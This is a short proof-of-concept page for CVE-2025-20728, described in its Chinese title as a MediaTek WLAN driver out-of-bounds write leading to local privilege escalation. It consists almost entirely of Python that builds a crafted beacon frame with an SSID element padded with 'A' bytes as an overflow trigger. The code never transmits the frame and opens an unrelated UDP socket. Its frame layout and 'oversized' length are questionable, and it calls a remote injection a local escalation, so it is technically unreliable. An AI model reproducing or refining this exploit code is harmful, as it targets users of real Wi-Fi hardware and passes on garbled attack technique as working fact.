CVE-2025-20728 MediaTek WLAN STA驱动越界写入本地权限提升漏洞

# CVE-2025-20728 PoC - MediaTek WLAN STA Driver Out of Bounds Write # This PoC demonstrates triggering the OOB write condition in MediaTek WLAN STA driver # Note: This is a conceptual PoC for educational purposes only import struct import socket import sys def create_malicious_80211_frame(): """ Create a malicious 802.11 frame to trigger OOB write in MediaTek WLAN STA driver """ # Frame Control field frame_control = struct.pack('<H', 0x0080) # Management frame, subtype 0 # Duration duration = struct.pack('<H', 0x0020) # Destination Address (Broadcast) dest_addr = b'\xff\xff\xff\xff\xff\xff' # Source Address (Attacker controlled) src_addr = b'\x00\x11\x22\x33\x44\x55' # BSSID bssid = b'\x66\x55\x44\x33\x22\x11' # Sequence Control seq_ctrl = struct.pack('<H', 0x0000) # Construct the frame body with oversized Information Element # This exploits the incorrect bounds check in the driver frame_body = b'\x00' # Timestamp frame_body += struct.pack('<Q', 0) frame_body += struct.pack('<H', 0x0014) # Beacon Interval frame_body += struct.pack('<H', 0x0001) # Capability Info # Malicious SSID Information Element with oversized length # Trigger OOB write by setting length > allocated buffer ssid_ie = b'\x00' # SSID IE Tag Number ssid_ie += b'\xff' # Malicious length to trigger OOB (exceeds bounds) ssid_ie += b'A' * 255 # Payload that will be written out of bounds frame_body += ssid_ie # Supported Rates IE frame_body += b'\x01\x04\x96\x0b\x16\x24\x30\x48' # Construct full frame frame = frame_control + duration + dest_addr + src_addr + bssid + seq_ctrl + frame_body return frame def send_malicious_frame(interface='wlan0'): """ Send the malicious 802.11 frame to trigger the vulnerability """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Note: Actual exploitation requires raw socket access and monitor mode # This PoC requires root privileges to execute print(f"[*] Creating malicious frame for {interface}") print(f"[*] Frame size: {len(create_malicious_80211_frame())} bytes") print("[*] Frame crafted successfully") print("[*] To exploit: Send this frame in monitor mode and trigger driver processing") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2025-20728 MediaTek WLAN STA Driver OOB Write PoC") print("=" * 60) send_malicious_frame()